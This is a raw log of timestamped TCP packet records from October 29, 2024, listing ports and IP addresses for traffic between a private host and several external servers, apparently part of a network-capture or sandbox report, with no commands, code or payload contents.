Oct 29, 2024 20:35:21.343390942 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.343415022 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.343445063 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.343451977 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.343641043 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.345632076 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.345742941 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.345755100 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.345769882 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.345774889 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.349436045 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.349467993 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.349689960 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.366708994 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.366734982 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.379024982 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.379059076 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.379106998 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.379122972 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.379153967 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.379791021 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.379808903 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.379822016 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.379827023 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.419612885 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.419658899 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.419883013 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.420245886 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.420263052 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.432122946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.432240963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.432430983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.432699919 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.436296940 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.436918974 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.436939955 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.437288046 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.437635899 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.437700987 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.438041925 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.438043118 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.438057899 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.531287909 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.531645060 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.531662941 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.533014059 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.533072948 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.534248114 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.534373999 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.534444094 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.548918009 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.548959017 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.549132109 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549133062 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549170017 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.549465895 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549474955 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.549551010 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549571991 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549776077 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549791098 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.549873114 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549882889 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.549911022 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.549954891 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550093889 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550121069 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.550215960 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550230026 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.550331116 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550457001 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550467014 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.550681114 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550698996 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.550704002 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550719023 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.550813913 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.550832033 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.551011086 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:21.551024914 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:21.579323053 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.594645023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.594657898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.594671011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.594748974 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.594748974 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.621737957 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.622090101 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.622109890 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.623214006 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.623275042 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.624484062 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.624548912 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.624703884 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.624711037 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.631170034 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.631208897 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.631234884 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.631258965 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:21.631273031 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.631321907 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:21.631340981 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:21.631591082 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.631848097 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.632105112 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:21.632123947 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.632143974 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:21.632152081 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.632270098 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:21.632275105 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:21.683362007 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.683389902 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.683449030 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.683454037 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.683479071 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.683523893 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.683574915 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.683653116 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.683667898 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.683717012 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.683727026 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684357882 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684380054 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684410095 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.684417963 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684436083 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.684838057 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684855938 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684894085 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.684900045 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684911966 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684922934 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.684932947 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684952974 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.684959888 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.684981108 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.685004950 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.685249090 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.686779022 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.686794043 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.704983950 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.705002069 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.705018044 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.705092907 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.705122948 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.705945969 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.710376978 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.710390091 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.710418940 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.710870028 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.710985899 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.710992098 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.711020947 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.715349913 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.715370893 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.715435028 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.715465069 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.718353033 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.718416929 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.718507051 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.732413054 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.732426882 CET	443	49912	131.253.33.203	192.168.2.5
Oct 29, 2024 20:35:21.732450008 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.732469082 CET	49912	443	192.168.2.5	131.253.33.203
Oct 29, 2024 20:35:21.756699085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.756715059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.756727934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.756828070 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.756836891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.756848097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.756882906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.757061005 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.804810047 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.824084044 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.824105978 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.824254036 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.824254990 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.824275017 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.834853888 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.834863901 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.834877014 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.834887028 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.834917068 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.834944963 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.834995031 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.836280107 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.836297989 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.836327076 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.836381912 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.836381912 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.836396933 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.838382006 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.838397026 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.838608027 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.838628054 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.844398975 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.844535112 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.863814116 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.902098894 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.918307066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918382883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918394089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918416023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.918416023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.918433905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918467999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.918467999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.918544054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918653965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918664932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918677092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.918692112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.918692112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.918725014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.918725014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.932434082 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.939320087 CET	49913	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.939337969 CET	443	49913	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.943093061 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.943105936 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.943140030 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.943171024 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.943242073 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.943242073 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.943264008 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.943376064 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.951989889 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.952023983 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.952073097 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.952090025 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.952181101 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.952269077 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.952316046 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.952322006 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.952332973 CET	443	49914	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:21.952393055 CET	49914	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:21.958700895 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.958734989 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.958806038 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.959225893 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.959238052 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.959629059 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.959645033 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.965620041 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.965630054 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.969955921 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.969981909 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.970464945 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.970474958 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.973849058 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.973881960 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.973941088 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.977020025 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:21.977036953 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:21.986706018 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.987622023 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.987648964 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.988110065 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.988116980 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.074655056 CET	443	49884	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:22.074733019 CET	49884	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:22.087750912 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:22.087790012 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:22.087991953 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:22.088315964 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:22.088330030 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:22.090724945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.090787888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.090800047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.090811968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.090812922 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.090816975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.090831041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.090858936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.090924025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.090992928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.091005087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.091021061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.091042042 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.091064930 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.094881058 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.094944954 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.095006943 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.095345020 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.095361948 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.095376968 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.095381975 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.098843098 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.098870993 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.098949909 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.099220037 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.099231005 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.103110075 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.103741884 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.103760958 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.104231119 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.104237080 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.160227060 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.160259008 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.160309076 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.160410881 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.160410881 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.160607100 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.160621881 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.160634995 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.160641909 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.160942078 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.160998106 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.161166906 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.161166906 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.161206007 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.161222935 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.164196968 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.167718887 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.167741060 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.167850018 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.168453932 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.168459892 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.168849945 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.169389009 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.170195103 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.170242071 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.170321941 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.170519114 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.170532942 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.171581984 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.171608925 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.171740055 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.171796083 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.172002077 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.172023058 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.172142029 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.172152996 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.172293901 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.172303915 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.172347069 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.172353983 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.172573090 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.172584057 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.172626972 CET	443	49925	23.47.50.133	192.168.2.5
